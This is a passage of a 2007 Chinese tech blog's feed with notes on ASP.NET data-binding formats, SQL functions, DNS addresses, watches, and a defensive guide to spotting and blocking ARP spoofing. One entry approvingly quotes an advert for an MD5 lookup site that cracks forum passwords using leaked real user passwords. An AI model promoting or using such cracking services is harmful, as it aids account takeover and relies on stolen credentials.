	  <title type="html"><![CDATA[变形金钢 官网]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2007-06-30T07:14:27+08:00</updated>
	  <published>2007-06-30T07:14:27+08:00</published>
		  <summary type="html"><![CDATA[<A href="http://www.transformersmovie.com/">http://www.transformersmovie.com/</A>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=421" /> 
	  <id>http://www.openx.cn/default.asp?id=421</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[格式化数据和DataBinder.Eval用法范例 备忘]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2007-06-28T09:41:02+08:00</updated>
	  <published>2007-06-28T09:41:02+08:00</published>
		  <summary type="html"><![CDATA[DataBinder.Eval 它带有三个参数：数据项的命名容器、数据字段名称和格式化字符串。 在模板列表如DataList、DataGrid、或 Repeater，命名容器总是Container.DataItem。 Page 是另一个可以被DataBinder.Eval使用的命名容器。 <BR>&lt;%# DataBinder.Eval(Container.DataItem, "IntegerValue", "{0:c}") %&gt; 
<P>格式化字符串参数是可选的。如果忽略参数，DataBinder.Eval 返回对象类型的值，</P>
<P><BR>//显示二位小数<BR>//&lt;%# DataBinder.Eval(Container.DataItem, "UnitPrice", "${0:F2}") %&gt; </P>
<P>//{0:G}代表显示True或False</P>
<P><BR>//&lt;ItemTemplate&gt;<BR>// &lt;asp:Image Width="12" Height="12" Border="0" runat="server"<BR>// AlternateText='&lt;%# DataBinder.Eval(Container.DataItem, "Discontinued", "{0:G}") %&gt;'<BR>// ImageUrl='&lt;%# DataBinder.Eval(Container.DataItem, "Discontinued", "~/images/{0:G}.gif") %&gt;' /&gt;<BR>// &lt;/ItemTemplate&gt;</P>
<P>&nbsp;</P>
<P><STRONG>转换类型</STRONG><BR>Specifier Type &nbsp;&nbsp;&nbsp;&nbsp;Format&nbsp; &nbsp;Output (Passed Double 1.42) &nbsp;Output (Passed Int -12400) <BR>c&nbsp; Currency &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {0:c} &nbsp;&nbsp;&nbsp; $1.42&nbsp;&nbsp;&nbsp;&nbsp; -$12,400 <BR>d&nbsp; Decimal&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;{0:d} &nbsp;&nbsp; System.FormatException&nbsp;&nbsp;-12400 <BR>e&nbsp; Scientific &nbsp;&nbsp;&nbsp;&nbsp; {0:e} &nbsp;&nbsp; 1.420000e+000 &nbsp;&nbsp;&nbsp;-1.240000e+004 <BR>f&nbsp; Fixed point&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{0:f} &nbsp;1.42&nbsp;&nbsp;&nbsp;&nbsp;-12400.00 <BR>g&nbsp; General &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {0:g} &nbsp;1.42 &nbsp;&nbsp;&nbsp;&nbsp;-12400 <BR>n&nbsp; Number with commas for thousands &nbsp;{0:n} &nbsp;1.42 &nbsp;&nbsp;&nbsp;&nbsp;-12,400 <BR>r&nbsp; Round trippable &nbsp;&nbsp;&nbsp;{0:r} &nbsp;1.42 &nbsp;&nbsp;&nbsp;&nbsp;System.FormatException <BR>x&nbsp; Hexadecimal &nbsp;&nbsp;&nbsp;{0:x4} &nbsp;System.FormatException &nbsp;&nbsp;cf90 </P>
<P><BR>{0:d} 日期只显示年月日<BR>{0:yyyy-mm-dd} 按格式显示年月日</P>
<P><BR>样式取决于 Web.config 中的设置</P>
<P>{0:c}&nbsp; 或 {0:￡0,000.00} 货币样式&nbsp; 标准英国货币样式<BR>&lt;system.web&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;globalization requestEncoding="utf-8" responseEncoding="utf-8" <FONT color=#ff0066>culture="en-US" uiCulture="en-US"</FONT> /&gt;<BR>&lt;/system.web&gt;<BR>显示为 ￡3,000.10</P>
<P>{0:c}&nbsp; 或 string.Format("{0:C}", price); 中国货币样式<BR>&lt;system.web&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;globalization requestEncoding="utf-8" responseEncoding="utf-8" <FONT color=#ff0066>culture="zh-cn" uiCulture="zh-cn"</FONT> /&gt;<BR>&lt;/system.web&gt;<BR>显示为 ￥3,000.10</P>
<P>{0:c}&nbsp; 或 string.Format("{0:C}", price); 美国货币样式<BR>&lt;system.web&gt;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;globalization requestEncoding="utf-8" responseEncoding="utf-8" /&gt;<BR>&lt;/system.web&gt;<BR>显示为 $3,000.10</P>
<P>-------------------------------------------------</P>
<P>一、DataBinder.Eval的基本格式 在绑定数据时经常会用到这个句程序：<!--DataBinder.Eval(Container.DataItem,"xxxx"-->或者<!--DataBinder.Eval(Container,"DataItem.xxxx"--> 今天又学到一种，而且微软也说这种方法的效率要比以上两种高。 <!--((DataRowView)Container.DataItem)["xxxx"-->很有用的，这样可以在前台页面做好多事情了。 还要记住要这样用必须要在前台页面导入名称空间System.Data,否则会生成错误信息。 <!--Import namespace="System.Data"-->这种用法其实和<!--((DictionaryEntry)Container.DataItem).Ke-->是一个道理。 Text='<!--DataBinder.Eval(Container.DataItem, "字段")-->' 这样的方法是最快的 Text='<!--GetPrice()-->' 也可以绑定方法，但方法要是public的 Text='<!--"CarDetails.aspx?CarID=" + DataBinder.Eval(Container.DataItem, "CarID")-->' 还可以连接多个字段 关键是Container这个东西，它比较神秘。它的名称空间是System.ComponentModel。对于它我还需要进一步理解。 二、DataBinder.Eval实现判断选择 <?XML:NAMESPACE PREFIX = ASP /><ASP:TEMPLATECOLUMN headertext="性别"><ITEMTEMPLATE></ITEMTEMPLATE><!--DGFormatSex(Convert.ToString(DataBinder.Eval(Container.DataItem,"xb")))--></ASP:TEMPLATECOLUMN>cs里定义DGFormatSex方法 protected string DGFormatSex(string xb) { if(xb == "1") return "男"; else return "女"; } DataBinder.Eval用法范例 DataBinder.Eval用法范例 //显示二位小数 //<!--DataBinder.Eval(Container.DataItem, "UnitPrice", "${0:F2}")--> //{0:G}代表显示True或False //<ITEMTEMPLATE></ITEMTEMPLATE> // <ASP:IMAGE height="12" width="12" runat="server" border="0" alternatetext='<%# DataBinder.Eval(Container.DataItem, "Discontinued", "{0:G}") %>' imageurl='<%# DataBinder.Eval(Container.DataItem, "Discontinued", "~/images/{0:G}.gif") %>'></ASP:IMAGE>// //转换类型 ((string)DataBinder.Eval(Container, "DataItem.P_SHIP_TIME_SBM8")).Substring(4,4) {0:d} 日期只显示年月日 {0:yyyy-mm-dd} 按格式显示年月日 {0:c} 货币样式<BR></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=420" /> 
	  <id>http://www.openx.cn/default.asp?id=420</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[SQL 函数备忘]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2007-06-27T22:14:37+08:00</updated>
	  <published>2007-06-27T22:14:37+08:00</published>
		  <summary type="html"><![CDATA[<FONT color=#ff0000><STRONG>串函数<BR></STRONG></FONT><FONT color=teal>ASCII(char)</FONT><BR>返回char首字母的ASCII代码值<BR><FONT color=teal>Char(int)</FONT><BR>返回ASCII值为int所对应的字符<BR><FONT color=teal>Charindex(char1,char2)</FONT><BR>返回char1在char2中的开始位置<BR><FONT color=teal>Patindex(char1,char2)</FONT><BR>返回字符串char1在char2中的开始位置<BR><FONT color=teal>Difference(char1,char2)</FONT><BR>返回char1与char2两字符的相似性,返回整数<BR><FONT color=teal>Left(char,int)</FONT><BR>返回字符char的左边int个字符<BR><FONT color=teal>Right(char,int)</FONT><BR>返回字符char的右边int个字符<BR><FONT color=teal>Substring(char,int1,int2)</FONT><BR>返回字符char从int1个位置起,int2个字符<BR><FONT color=teal>Stuff(char1,int1,int2,char2)</FONT><BR>将char1从int1起,int2个字符替换为char2<BR><FONT color=teal>Len(char)</FONT><BR>返回Char的长度<BR><FONT color=teal>Lower(char)</FONT><BR>转化为小写<BR><FONT color=teal>Upper(char)</FONT><BR>转化为大写<BR><FONT color=teal>Ltrim(char)</FONT><BR>去前空格<BR><FONT color=teal>Rtrim(char)</FONT><BR>去后空格<BR><FONT color=teal>Reverse(char)</FONT><BR>倒置字符串<BR><FONT color=teal>Space(int)</FONT><BR>返回int个空格<BR><FONT color=teal>STR(float,int1,int2)</FONT><BR>数字转化为字符,int1为字符长度,int2为小数点后位数<BR><BR><FONT color=red><B>日期函数</B></FONT><BR><FONT color=teal>Getdate()</FONT><BR>返回当前日期的日期和时间<BR><FONT color=teal>Dateadd(datepart,number,date)</FONT><BR>将datepart的number加到date上<BR><FONT color=teal>Datediff(datepart,date1,date2)</FONT><BR>计算两个日期之间datepart的个数<BR><FONT color=teal>Datename(datepart,date)</FONT><BR>以字符值返回列出日期的datepart<BR><FONT color=teal>Datepart(datepart,date)</FONT><BR>以一个整数返回列出日期的datepart<BR>附:<BR>date为表中日期字段datepart为日期部件.<BR>datepart字符如下:<BR>年:yy或yyyy<BR>季度:qq或q<BR>月:mm或m<BR>年之日:dy或y<BR>月之日:dd或d<BR>年之星期:wk或ww<BR>周之星期:dw<BR>小时:hh<BR>分钟:mi或n<BR>秒:ss或s<BR>毫秒:ms<BR><BR><FONT color=red><B>数学函数</B></FONT><BR><FONT color=teal>Pi()</FONT><BR>返回圆周率PI<BR><FONT color=teal>Radians(num)</FONT><BR>返回度数值num的弧度值<BR><FONT color=teal>Degrees(num)</FONT><BR>返回弧度值num对应的度数值<BR><FONT color=teal>Sin(float),Cos(float),Tan(float),Cot(float)</FONT><BR>返回角度float的正弦,余弦,正切,余切值<BR><FONT color=teal>Asin(float),Acos(float),Atan(float)</FONT><BR>返回角度的弧度,它的反正弦,反余弦,反正切是一个浮点值<BR><FONT color=teal>Exp(float)</FONT><BR>返回float的指数值<BR><FONT color=teal>Floor(num)</FONT><BR>返回小于或等于所给数字表达式num的最大整数<BR><FONT color=teal>Log(float)</FONT><BR>返回float的自然对数<BR><FONT color=teal>Power(num,int)</FONT><BR>返回给定表达式num的int次方的值<BR><FONT color=teal>Round(num,int)</FONT><BR>返回num四舍五入后长度为int位的值<BR><FONT color=teal>Sign(num)</FONT><BR>返回num的正(+1),零(0)或负(-1)号<BR><FONT color=teal>Sqrt(float)</FONT><BR>返回给定表达式float的平方根<BR><BR><FONT color=red><B>数据转换函数</B></FONT><BR><FONT color=teal>ca&#115;t(expression as data_type)</FONT><BR><FONT color=teal>CONVERT(data_type[(length)],expression[,style])</FONT><BR>expression为任何有效sql表达式<BR>data_type为数据类型<BR>length为nchar,nvarchar,char,varchar,binary或varbinary数据类型的可选参数<BR>style是日期格式样式<BR>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=419" /> 
	  <id>http://www.openx.cn/default.asp?id=419</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[什么是ARP?如何防范ARP欺骗?]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2007-06-22T14:06:02+08:00</updated>
	  <published>2007-06-22T14:06:02+08:00</published>
		  <summary type="html"><![CDATA[<DIV style="FONT-SIZE: 12px"><FONT size=+0>什么是ARP?<BR>&nbsp; &nbsp; ARP（Address Resolution Protocol，地址解析协议）是一个位于TCP/IP协议栈中的低层协议，负责将某个IP地址解析成对应的MAC地址。<BR><BR>什么是ARP欺骗?<BR>&nbsp; &nbsp; 从影响网络连接通畅的方式来看，ARP欺骗分为二种，一种是对路由器ARP表的欺骗；另一种是对内网PC的网关欺骗。<BR>&nbsp; &nbsp; 第一种ARP欺骗的原理是——截获网关数据。它通知路由器一系列错误的内网MAC地址，并按照一定的频率不断进行，使真实的地址信息无法通过更新保存在路由器中，结果路由器的所有数据只能发送给错误的MAC地址，造成正常PC无法收到信息。第二种ARP欺骗的原理是——伪造网关。它的原理是建立假网关，让被它欺骗的PC向假网关发数据，而不是通过正常的路由器途径上网。在PC看来，就是上不了网了，“网络掉线了”。<BR><BR>&nbsp; &nbsp;&nbsp;&nbsp;近期，一种新型的“ ARP 欺骗”木马病毒正在校园网中扩散，严重影响了校园网的正常运行。感染此木马的计算机试图通过“ ARP 欺骗”手段截获所在网络内其它计算机的通信信息，并因此造成网内其它计算机的通信故障。ARP欺骗木马的中毒现象表现为：使用校园网时会突然掉线，过一段时间后又会恢复正常。比如客户端状态频频变红，用户频繁断网，IE浏览器频繁出错，以及一些常用软件出现故障等。如果校园网是通过身份认证上网的，会突然出现可认证，但不能上网的现象（无法ping通网关），重启机器或在MS-DOS窗口下运行命令arp -d后，又可恢复上网。ARP欺骗木马十分猖狂，危害也特别大，各大学校园网、小区网、公司网和网吧等局域网都出现了不同程度的灾情，带来了网络大面积瘫痪的严重后果。ARP欺骗木马只需成功感染一台电脑，就可能导致整个局域网都无法上网，严重的甚至可能带来整个网络的瘫痪。该木马发作时除了会导致同一局域网内的其他用户上网出现时断时续的现象外，还会窃取用户密码。如盗取QQ密码、盗取各种网络游戏密码和账号去做金钱交易，盗窃网上银行账号来做非法交易活动等，这是木马的惯用伎俩，给用户造成了很大的不便和巨大的经济损失。<BR><BR>&nbsp;&nbsp;如何检查和处理“ ARP 欺骗”木马的方法<BR></FONT></DIV>
<DIV style="FONT-SIZE: 12px" align=left><FONT color=#0080ff>1 ．检查本机的“ ARP 欺骗”木马染毒进程</FONT><BR><IMG height=417 alt="" src="http://netsupport.tsinghua.edu.cn/images/clip_image001.jpg" width=404 border=0><BR><FONT color=#0080ff>同时按住键盘上的“ CTRL ”和“ ALT ”键再按“ DEL ”键，选择“任务管理器”，点选“进程”标签。察看其中是否有一个名为“ MIR0.dat ”的进程。如果有，则说明已经中毒。右键点击此进程后选择“结束进程”。参见右图。<BR><BR>2 ．检查网内感染“ ARP 欺骗”木马染毒的计算机<BR>在“开始” - “程序” - “附件”菜单下调出“命令提示符”。输入并执行以下命令：<BR>ipconfig<BR>记录网关 IP 地址，即“ Default Gateway ”对应的值，例如“ 59.66.36.1 ”。再输入并执行以下命令：<BR>arp –a<BR>在“ Internet Address ”下找到上步记录的网关 IP 地址，记录其对应的物理地址，即“ Physical Address ”值，例如“ 00-01-e8-1f-35-54 ”。在网络正常时这就是网关的正确物理地址，在网络受“ ARP 欺骗”木马影响而不正常时，它就是木马所在计算机的网卡物理地址。<BR>也可以扫描本子网内的全部 IP 地址，然后再查 ARP 表。如果有一个 IP 对应的物理地址与网关的相同，那么这个 IP 地址和物理地址就是中毒计算机的 IP 地址和网卡物理地址。<BR><BR>3 ．设置 ARP 表避免“ ARP 欺骗”木马影响的方法<BR>本方法可在一定程度上减轻中木马的其它计算机对本机的影响。用上边介绍的方法确定正确的网关 IP 地址和网关物理地址，然后在 “命令提示符”窗口中输入并执行以下命令：<BR>arp –s 网关 IP 网关物理地址<BR><BR>4.态ARP绑定网关<BR>&nbsp;&nbsp;步骤一：<BR>&nbsp;&nbsp;在能正常上网时，进入MS-DOS窗口，输入命令：arp －a，查看网关的IP对应的正确MAC地址， 并将其记录下来。<BR>&nbsp;&nbsp;注意：如果已经不能上网，则先运行一次命令arp －d将arp缓存中的内容删空，计算机可暂时恢复上网（攻击如果不停止的话）。一旦能上网就立即将网络断掉（禁用网卡或拔掉网线），再运行arp －a。<BR>&nbsp;&nbsp;步骤二：<BR>&nbsp;&nbsp;如果计算机已经有网关的正确MAC地址，在不能上网只需手工将网关IP和正确的MAC地址绑定，即可确保计算机不再被欺骗攻击。<BR>&nbsp;&nbsp;要想手工绑定，可在MS-DOS窗口下运行以下命令：<BR>&nbsp;&nbsp;arp －s 网关IP 网关MAC<BR>&nbsp;&nbsp;例如：假设计算机所处网段的网关为192.168.1.1，本机地址为192.168.1.5，在计算机上运行arp －a后输出如下：<BR>&nbsp;&nbsp;Cocuments and Settings&gt;arp -a<BR>&nbsp;&nbsp;Interface:192.168.1.5 --- 0x2<BR>&nbsp;&nbsp;Internet Address Physical Address Type<BR>&nbsp;&nbsp;192.168.1.1&nbsp;&nbsp;00-01-02-03-04-05 dynamic<BR>&nbsp;&nbsp;其中，00-01-02-03-04-05就是网关192.168.1.1对应的MAC地址，类型是动态（dynamic）的，因此是可被改变的。<BR>&nbsp;&nbsp;被攻击后，再用该命令查看，就会发现该MAC已经被替换成攻击机器的MAC。如果希望能找出攻击机器，彻底根除攻击，可以在此时将该MAC记录下来，为以后查找该攻击的机器做准备。<BR>&nbsp;&nbsp;手工绑定的命令为：<BR>&nbsp;&nbsp;arp －s 192.168.1.1&nbsp;&nbsp;00-01-02-03-04-05<BR>&nbsp;&nbsp;绑定完，可再用arp －a查看arp缓存：<BR>&nbsp;&nbsp;Cocuments and Settings&gt;arp -a<BR>&nbsp;&nbsp;Interface: 192.168.1.5 --- 0x2<BR>&nbsp;&nbsp;Internet Address Physical Address Type<BR>&nbsp;&nbsp;192.168.1.1&nbsp;&nbsp;00-01-02-03-04-05 static<BR>&nbsp;&nbsp;这时，类型变为静态（static），就不会再受攻击影响了。<BR>&nbsp;&nbsp;但是，需要说明的是，手工绑定在计算机关机重启后就会失效，需要再次重新绑定。所以，要彻底根除攻击，只有找出网段内被病毒感染的计算机，把病毒杀掉，才算是真正解决问题。<BR><BR>5 .作批处理文件<BR>&nbsp;&nbsp;在客户端做对网关的arp绑定，具体操作步骤如下：<BR>&nbsp;&nbsp;步骤一：<BR>&nbsp;&nbsp;查找本网段的网关地址，比如192．168．1．1，以下以此网关为例。在正常上网时，“开始→运行→cmd→确定”，输入：arp －a，点回车，查看网关对应的Physical Address。<BR>比如：网关192.168.1.1 对应00－01－02－03－04－05。<BR>&nbsp;&nbsp;步骤二：<BR>&nbsp;&nbsp;编写一个批处理文件rarp.bat，内容如下：<BR>&nbsp;&nbsp;@echo off<BR>&nbsp;&nbsp;arp －d<BR>&nbsp;&nbsp;arp -s&nbsp;&nbsp;192.168.1.1&nbsp;&nbsp;00－01－02－03－04－05<BR>&nbsp;&nbsp;保存为：rarp.bat。<BR>&nbsp;&nbsp;步骤三：<BR>&nbsp;&nbsp;运行批处理文件将这个批处理文件拖到“Windows→开始→程序→启动”中，如果需要立即生效，请运行此文件。<BR>&nbsp;&nbsp;注意：以上配置需要在网络正常时进行<BR><BR>6.使用安全工具软件<BR>&nbsp;&nbsp;及时下载Anti ARP Sniffer软件保护本地计算机正常运行。具体使用方法可以在网上搜索。<BR>&nbsp;&nbsp;如果已有病毒计算机的MAC地址，可使用NBTSCAN等软件找出网段内与该MAC地址对应的IP，即感染病毒的计算机的IP地址，然后报告单位的网络中心对其进行查封。<BR>&nbsp;&nbsp;或者利用单位提供的集中网络防病毒系统来统一查杀木马。另外还可以利用木马杀客等安全工具进行查杀。<BR><BR>7.应急方案<BR>&nbsp;&nbsp;网络管理管理人员利用上面介绍的ARP木马检测方法在局域网的交换机上查出受感染该病毒的端口后，立即关闭中病毒的端口，通过端口查出相应的用户并通知其彻底查杀病毒。而后，做好单机防范，在其彻底查杀病毒后再开放相应的交换机端口，重新开通上网。<BR>附录一<BR>清华大学校园网络安全响应小组编的一个小程序<BR>下载地址：</FONT> <A href="ftp://166.111.8.243/tools/ArpFix.rar"><FONT color=#0080ff>ftp://166.111.8.243/tools/ArpFix.rar</FONT></A><BR><BR><FONT color=#0080ff>清华大学校园网络安全响应小组编了一个小程序，它可以保护您的计算机在同一个局域网内部有ARP欺骗木马计算机的攻击时，保持正常上网。具体使用方法：<BR>1、 程序运行后请先选择网卡，选定网卡后点击“选定”按钮。<BR>2、 选定网卡后程序会自动获取您机器的网关地址。<BR>3、获得网关地址后请点击获取MAC地址按钮获取正确的网关MAC地址。<BR>4、 确认网关的MAC地址后请点击连接保护，程序开始保护您的机器。<BR>5、 点击程序右上角的叉，程序自动隐藏到系统托盘内。<BR>6、要完全退出程序请在系统托盘中该程序图标上点击右键选择EXIT。<BR>注意：<BR>1、这个程序只是一个ARP攻击保护程序，即受ARP木马攻击时保持自己计算机的MAC地址不被恶意篡改，从而在遭受攻击时网络不会中断。本程序并不能清除已经感染的ARP木马，要预防感染或杀除木马请您安装正版的杀毒软件！<BR><BR><BR>附录二<BR>Anti Arp Sniffer 的用法<BR>下载地址：</FONT><A href="http://www.wipe.edu.cn/Files/wlzx/Antiarp.rar"><FONT color=#0080ff>http://www.wipe.edu.cn/Files/wlzx/Antiarp.rar</FONT></A><BR><BR><FONT color=#0080ff>双击Antiarp文件，出现图二所示对话框。<BR><IMG style="WIDTH: 520px; HEIGHT: 327px" alt="" src="http://www.wipe.edu.cn/Files/wlzx/2.JPG" border=0><BR>图二<BR>输入网关地址（网关地址获取方式：[开始] --&gt;[程序]--&gt; [附件]菜单下调出“命令提示符”，输入ipconfig，其中Default Gateway即为网关地址）；点击获取网关MAC地址，点击自动防护保证当前网卡与网关的通信不被第三方监听。<BR>点击恢复默认，然后点击防止地址冲突，如频繁的出现IP地址冲突，这说明攻击者频繁发送ARP欺骗数据包。<BR><IMG style="WIDTH: 520px; HEIGHT: 327px" alt="" src="http://www.wipe.edu.cn/Files/wlzx/3.JPG" border=0><BR>右击[我的电脑]--&gt;[管理]--&gt;点击[事件查看器]--&gt;点击[系统]--&gt;查看来源为[TcpIP]---&gt;双击事件可以看到显示地址发生冲突，并记录了该MAC地址，请复制该MAC地址并填入Anti ARP Sniffer的本地MAC地址输入框中(请注意将:转换为-)，输入完成之后点击[防护地址冲突]，为了使MAC地址生效请禁用本地网卡然后再启用网卡，在CMD命令行中输入Ipconfig /all，查看当前MAC地址是否与本地MAC地址输入框中的MAC地址相符，如果成功将不再会显示地址冲突。<BR>注：1、如果您想恢复默认MAC地址,请点击[恢复默认],为了使MAC地址生效请禁用本地网卡然后再启用网卡；本软件不支持多网卡，部分网卡可能更改MAC会无效。</FONT></DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=418" /> 
	  <id>http://www.openx.cn/default.asp?id=418</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[福州网通DNS]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2007-06-14T17:25:44+08:00</updated>
	  <published>2007-06-14T17:25:44+08:00</published>
		  <summary type="html"><![CDATA[<FONT size=2>福州<FONT color=#cc0033>网通</FONT>首选<FONT color=#cc0033>DNS</FONT> <FONT color=#cc0033>地址</FONT>：58.22.96.66 备用<FONT color=#cc0033>DNS 地址</FONT>：218.104.128.106</FONT>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=417" /> 
	  <id>http://www.openx.cn/default.asp?id=417</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[发现一个可以查Md5的站]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2007-05-18T21:40:17+08:00</updated>
	  <published>2007-05-18T21:40:17+08:00</published>
		  <summary type="html"><![CDATA[<P>
<TABLE id=table1 style="FONT-SIZE: 12px; FONT-FAMILY: verdana, arial, sans-serif" cellSpacing=0 cellPadding=0 width=750 align=center border=0>
<TBODY>
<TR>
<TD style="FONT-SIZE: 12px; FONT-FAMILY: verdana, arial, sans-serif" vAlign=center align=left width=* height=50>
<P><STRONG>以下是该站的申明,开始不相信,弄了几个Md5后的字符搜一下还真出来明文了,</STRONG></P>
<P><STRONG>稍微简单的如数字组合基本都有.....</STRONG></P>
<P><STRONG></STRONG>&nbsp;</P>
<P><STRONG>md5破解</STRONG>、<STRONG>动网论坛密码破解</STRONG>等不再需要用穷举法，本站共有md5记录235亿条，还在不断增长中，已包含10位及10位以下数字、7位字母、部分7位字母＋数字,全部6位及以下字母加数字等组合，并针对国内用户做了大量优化，例如已经包含所有手机号码、全国部分大中城市固定电话号码、百家姓、常用拼音等大量组合，另加入了某大型网站真实会员密码数据10万条。本站数据量大，查询速度快，同时支持16位及32位密码查询。通过对10万会员的真实动网论坛样本数据的测试，本站对于<STRONG>动网论坛密码</STRONG>的命中率达到83%。<STRONG>全国独此一家</STRONG>。<BR><FONT color=red>最新消息：</FONT>本站4T的硬盘已经上线，正在生成数据，预计需要2个月左右时间，到时候本站能查询到12位数字和9位字母，宇宙第一，请大家相互转告！另感谢一热心网友给本站奉上数百万条数据库原始密码样本，大大提高了命中率！</P></TD></TR></TBODY></TABLE><!-- /HEADER --><!-- MASTHEAD --></P>
<P><A href="http://www.cmd5.com/default.aspx">http://www.cmd5.com/default.aspx</A></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=416" /> 
	  <id>http://www.openx.cn/default.asp?id=416</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[世界十大名表鉴赏]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2007-05-18T21:17:09+08:00</updated>
	  <published>2007-05-18T21:17:09+08:00</published>
		  <summary type="html"><![CDATA[<DIV><FONT size=3><SPAN style="COLOR: #2f4f4f"><B>　　<BR>十、芝柏(Girard-Perregaux)芝柏表的创始人J. F. Bautte1791年制作出他的第一块手表。1854年，芝柏(Girard-Perregaux)这一名字正式诞生。到20世纪初，芝柏的知名度不断扩大。1930年，当手表销售量首次超过怀表销量时，芝柏50年前就定下的发展手表的策略被证明是正确的。1998年，芝柏在日本建立分支机构，并有一款手表入选日本“年度最佳手表”。2000年，芝柏在美国建立了分支机构。<BR><IMG src="http://image2.sina.com.cn/nx/n/2004-07-06/U204P133T3D9483F57DT20040706182131.jpg" border=0><BR>　　<BR>九、劳力士(Rolex)劳力士创始人为汉斯.威尔斯多夫，1908年他在瑞士将劳力士注册为商标。20世纪20年代，劳力士公司研制了防水手表。1953年，劳力士推出了专为潜水夫设计的潜水表。劳力士手表的设计本着庄重、实用、不显浮华的风格，受到大批人喜爱。<BR><IMG src="http://image2.sina.com.cn/nx/n/2004-07-06/U204P133T3D9481F57DT20040706182125.jpg" border=0><BR>　　<BR>八、积家(Jaeger LeCoultre)安东尼.拉考脱(AntoineLeCoultre)1833年在瑞士成立工作坊。1844年，他发明了测量精度达到1/1000毫米的微米仪，使钟表零件加工精度大大提高。积家在1907年推出了世界上最薄的机械机芯，在1929年推出了世界上最小的机械机芯。积家1931年专为马球选手所推出的腕表是为高档腕表中罕见的经典之作。目前隶属瑞士历峰集团。<BR><IMG src="http://image2.sina.com.cn/nx/n/2004-07-06/U204P133T3D9478F57DT20040706182116.jpg" border=0><BR>　　<BR>七、卡地亚(Cartier)卡地亚拥有150多年历史，是法国珠宝金银首饰的制造名家。1888年，卡地亚尝试在镶嵌钻石的黄金手镯上装上机械女装表。 1938年，卡地亚制造了世界上最小的腕表，并把它送给了英国伊莉莎白公主。卡地亚手表一直是上流社会的宠物，历久不衰。目前隶属瑞士历峰集团。<BR><IMG src="http://image2.sina.com.cn/nx/n/2004-07-06/U204P133T3D9480F57DT20040706182122.jpg" border=0><BR>　　<BR>六、伯爵(Piaget) 1874年，Georges EdouardPiaget以机芯制作起家。1940年，Piaget的孙子为伯爵表的发展开拓了国际市场。1956年伯爵表推出了超薄机芯。上世纪60 年代以来，伯爵一边致力于复杂机芯的研究，一面发展顶级珠宝首饰的设计。从设计、制作蜡模型到镶嵌宝石，伯爵表始终秉承精益求精的宗旨。其“手铐腕表” (cuffwatches)和“硬币腕表”(coin watches)设计出众，是伯爵表中的珍品。目前隶属瑞士历峰集团。<BR><IMG src="http://image2.sina.com.cn/nx/n/2004-07-06/U204P133T3D9477F57DT20040706182113.jpg" border=0><BR>　　<BR>五、万国(IWC)创立于1868年的万国表有“机械表专家”之称，每只万国腕表都要经历28次独立测试。创始人是美国人佛罗伦汀.钟斯 (Florentine AJones)。20世纪初，万国表在德国、奥地利等地销售量大增。如今，万国表在全球有700多个销售点，产品主要销往远东、瑞士和德国。目前隶属瑞士历峰集团。<BR><IMG src="http://image2.sina.com.cn/nx/n/2004-07-06/U204P133T3D9482F57DT20040706182128.jpg" border=0><BR>　　<BR>四、宝玑(Breguet) 1775年，A.路易士.宝玑(A. Loui***reguet)创办了宝玑这一品牌。这位举世公认的钟表史经典人物首先在巴黎发展这一品牌，后至瑞士。宝玑手表深受皇族垂青，法国国王路易十六和玛利皇后都是宝玑的推崇者。巴尔扎克、普希金、大仲马、雨果等文豪的著作中也都曾提及宝玑表。英国女王维多利亚和英国首相邱吉尔等名人都是宝玑的顾客。如今，宝玑隶属瑞士斯沃琪集团。<BR><IMG src="http://image2.sina.com.cn/nx/n/2004-07-06/U204P133T3D9476F57DT20040706182111.jpg" border=0><BR>　　<BR>三、爱彼(Audemars Piguet) 